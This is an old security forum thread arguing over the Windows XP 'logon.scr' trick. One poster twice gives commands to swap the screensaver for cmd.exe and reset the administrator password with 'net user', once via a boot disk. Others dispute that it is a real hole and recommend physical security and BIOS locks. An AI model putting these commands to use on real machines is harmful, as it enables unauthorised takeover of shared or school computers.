Another logon.scr Admin Hole + FIX

WOW windows sux.... Lol so many logon holes. Here is another.
I Belive that this is only for XP
I also belive that this a very well know hole but i decided to post it for the people who have never heard of it.

How it works.
When your PC on a logon screen and nothing is done for 10-15 minutes a LOGON SCREENSAVER is executed. What can happen is a user can replace that LOGON SCREENSAVER with the DOS PROMPT. What this will do is instead of running the screensave it will display the command prompt. Through the prompt they can easily change the ADMIN password and logon under that name.

HOW IT IS DONE
RUN>>COMMAND
C:\> cd \winnt\system32
C:\winnt\system32> copy logon.scr logon.scr.old
C:\winnt\system32> del logon.scr
C:\winnt\system32> copy cmd.exe logon.scr

Now all they would have to do is logoff the machine, wait 10-15 minutes then the DOS PROMPT should execute.
Lastly all they have to do is type "C:\> net user administrator <newpassword> " in the prompt and log in with the new account.

*FIX* change default permissions on C:\winnt and C:\winnt\system32 you should be golden.

Firstly old news,
Secondly it isn't a security hole.

In order to replace logon.scr, you require admin rights, because the default ACL in Windows NT (And 2000, XP etc) only allows administrators and system write access.
If you had admin rights, then you can obtain localsystem privileges easily anyway.

So it just isn't an issue.

Unless you're using fat32. If that is the case however, there are probably easier ways of getting localsystem rights.

Slarty

Szafran,

With the greatest respect, windows does not suck!

The truth is that the Earth sucks, and that gravity is a myth........... :D

All operating systems have their flaws, but the worst flaws must be in the humans who find and exploit them?

I guess if you can guarantee 5 minutes, either physical or firewall security should have caught it?

That is where I feel that your security lies...you can only buy time...just like security on an automobile?

just my £ 0.02 worth

lol, i didn't mean it like that, sorry, i meant its so much more unsecure then linux. And the reason i posted is was because at my school you do not need ADMIN right to change files such as LOGON.SCR if you boot with a floppy.

so in response to

Quote:

---

Firstly old news,
Secondly it isn't a security hole.

---

It may not be new but it is still a a security hole. And incase you missed my last message. If they boot with a floppy or CD in DOS then is it very possible to alter any file in the windows DIR includeing LOGON.SCR.

PS thanx for the NEG Points

Quote:

---

lol, i didn't mean it like that, sorry, i meant its so much more unsecure then linux.

---

Just stop talking before I really start to flame you.

I have read a few of your posts now and it is obvious that you are quite new to computers and computer security, so if you'd like to be welcome here I think you would do better _asking_ and not telling.

catch

actually i'm quite fluent in computers but my posts and been written so that the least fluent user can understand.

and just to let everyone know i just triend this on my other PC and it did work w/ a boot disk. So unless you have bootdisk disabeled then you might want to look into this.

You other post about any user being able to change the admin password belays your level of fluency.

As for this one, if the system is improperly protected against alternate boots, this screen saver crap is the least of your worries.

catch

well the admin pass can be easilt changed with the NET USER Command

Quote:

---

Originally posted here by Szafran
lol, i didn't mean it like that, sorry, i meant its so much more unsecure then linux.

---

I have no problem with your personal feelings towards windows and M$... But with this post however... actually your wrong esspecially considering probably about half of the windows users out there are home users and there are many who know very little or nothing at all about their own computers. One of the main reasons its such a popular target is because its so wide spread. Also what many peaple don't realize is linux may not be the bigest target when it comes to virii but what it lacks in that it makes up for with a fair share of exploits...

Quote:

---

Originally posted here by Szafran
my posts and been written so that the least fluent user can understand.

---

Is that a insult or just more excuses on your part?

Quote:

---

It may not be new but it is still a a security hole.

---

No it is not.

Quote:

---

And incase you missed my last message. If they boot with a floppy or CD in DOS then is it very possible to alter any file in the windows DIR includeing LOGON.SCR.

---

No, DOS does not understand NTFS, hence will not be able to see the NT partition at all. If you use FAT the system is inherently insecure, AS MICROSOFT FREELY ADMIT and thus don't recommend you use FAT on your system drive.

Of course if you can boot off a CD or floppy full access is easily obtainable anyway, but I won't tell you how because you're a lamer.

Quote:

---

PS thanx for the NEG Points

---

If you want to post up inaccurate duplicate out of date info, you should expect more

Slarty

Maybe I'm not Speaking The Corrent Language or something. Everything i've stated is all very possible and still usefull. If Boot from a disk is disabeled then you simply reset it. If your even close to having any intelligence then you would know that that is extremely easy. After Doing so boot with a floppy in command prompt. The do the following...
C:\> cd \winnt\system32
C:\winnt\system32> copy logon.scr logon.scr.old
C:\winnt\system32> del logon.scr
C:\winnt\system32> copy cmd.exe logon.scr
after doing that you restart the system w/out the bootdisk. When your at loggon just wait 10-15 minutes. NOW LISTEN HERE. Windows is not set to have a command prompt open at this state in your computers boot process. Not being logged in will dissallow an restrictions set on that computer, this also includes the NET COMMANDS. At which you will type "C:\> net user administrator <newpassword>" This will change the password for ADMINISTRATOR.
THAT IS HOW SOMEONE WOULD GAIN ACCESS TO AN ADMIN ACCOUNT. They only way this connot occure is if the admin had the screensaver disabeled for you Logon Screen. ARE THERE ANY QUESTION? I HAVE TESTED THIS ON ATLEAST 5 COMPUTERS AND 1 HAD THE SCREENSAVER DISABELED.

another fix for this is a patch that i belive is availible. It will replace logon.scr with a DLL. thefore makeing it impossible to make cmd.exe run before logon.

Quote:

---

Everything i've stated is all very possible and still usefull. If Boot from a disk is disabeled then you simply reset it. If your even close to having any intelligence then you would know that that is extremely easy.

---

As slarty has already pointed out.... this is not possible with NTFS unless you are using ntfsdos pro to boot. A regular boot disk will only work on a system that is FAT. Who in there right minds would use FAT?!

Quote:

---

C:\> net user administrator <newpassword>" This will change the password for ADMINISTRATOR.
THAT IS HOW SOMEONE WOULD GAIN ACCESS TO AN ADMIN ACCOUNT. They only way this connot occure is if the admin had the screensaver disabeled for you Logon Screen. ARE THERE ANY QUESTION? I HAVE TESTED THIS ON ATLEAST 5 COMPUTERS AND 1 HAD THE SCREENSAVER DISABELED.

---

This would only work if you already have admin privledges. Try to do it with a guest account, or power user even and you'll see that it doesn't work. If you already have admin privledges... then why in the hell would you need to get the admin account?!

Szafran: I don't mean any disrespect, but this really isn't a bug in Windows at all.

If a user can (through a DOS boot disk or otherwise) replace logon.scr, then they can replace any other file with anything anyway. This includes editing the SAM, or any other more straightforward modification which would allow them full access.

Therefore this discussion is pointless and stupid.

To ensure local security, have a BIOS password and don't allow booting from removeable media. That's all there is too it.

Just to append to what Slarty said, also take care to disable automatic admin login during recovery and limit access to removable media during recovery as well. There was another post in the last day or so that was resolved by this physical attack, booting off the OS CD.

catch

What i'm saying, and there will be no need to post a reply cause i'm gonna quit with this subject but, if you can get the cmd.exe to boot a logon screen, then it will work. Cmd.exe the NET COMMANDS were not created to be used at the logon state. THAT IS THE BUG. The commands will not work before logon or after logon w/out admin access. But if you use then durring the logon then it will work. And i also understand about the bootdisk w/ NTFS but still all you would need to do then is gain access to a NTFS boot disk. Is it truely that hard?

Quote:

---

Cmd.exe the NET COMMANDS were not created to be used at the logon state. THAT IS THE BUG.

---

No it is not.

It is not possible to run cmd.exe as Localsystem at the logon prompt without doing some hackery, all of which either requires you to be an administrator anyway (such as editing the registry) or booting from a different medium.

If you boot from a different medium, gaining admin access is possible in countless other ways besides the one you suggest. Therefore, it is not a hole.

If of course you are administrator anyway, why would you want to gain admin? It makes no sense.

The "Net" commands are usable by the Localsystem account. This is not a hole.

Hi guys,

I guess these things are going around in circles. I see posts regarding how to break into systems, and here we have a young gentleman pointing out security flaws!............I am allowed to call you a young gentleman szazfran, unless you can provide me with a functional Fortran4 program on 80 column punched cards.............that's where I started to learn :)

I think that some of the problem here is not the new members, and certainly not their enthusiasm!!!!!!!!!! it is the fact that they are operating in artificial rather than practical environments?

A little story:

"In the beginning I went to my wife, and we went to the computer shop and she chose the case colour..............then I needed a motherboard, so she chose one that colour co-ordinated with the case . Then she went shopping.............so I bought the fastest processor and maximum memory that would fit the colour co-ordinated motherboard................etc........but then I had to buy an operating system...so I did (WIN2k)................and I put it all together........then I loaded the OS................it wasn't colour co-ordinated, but I was SYSADMIN!...
And only I had the power cable and the password, so the beast was safe.................and she could not use it (matches the carpet and wallpaper though :) )"


Silly?...yes...but, depending on where you are in an IT environment depends on what can happen.


Obviously, I exaggerate.............poetic license?............we use a User password (kill guest on sight IMHO) I have a "superuser one" and the administrator profile, that I have changed and hidden.

When you are at college, I do not think that you are subject to many restrictions, just like the beast that I created, you create the restrictions yourself.................in the real world, things are a bit different.


We will get questions from well meaning types who think that they know it all and "xyz sucks" or "abc sucks"....I find that amusing...............the "enthusiasm of youth"

The bottom line is that most professional systems are secure, or capable of being made reasonably so. These easy exploits do not exist..........perhaps some of these guys should subscribe to the CERT newsletter.......an outfit funded by the DoD, FBI and IRS..............and it was the IRS who put Capone in Joliet?


Yes, there are a lot of serious security issues out there, but a lot of this is not applicable to the real world?

There you go guys.........got £0.03 worth then (sponsored by Blossom Hill white zifandel :D )

Cheers, and good whatever time it is where ever you are

Several of the posters have touched on this, but it is so important that I wanted to make it a seperate post. Physical security of your computer (controlling physical access) is the first and basic step in defending against knowlegable persons. I have never been able to absolutely deny access to a person with extended, unobserved access to a computer. If a person can add or remove hardware, reset your bios password, add and remove drives, etc., it's really hard to protect things. In fact, if you have something a competitor or a spy really wants, they can just walk out with the whole computer if there is no physical security.

Szafran -- it's not that your information isn't potentally of some use to some, it's just that most of us have, for really important computers, provided physical security, prevented boots from external drives, password protected the bios, selected an operating with significant security features, and implemented those procedures. For these reasons, the things you propose won't work on computers we care about.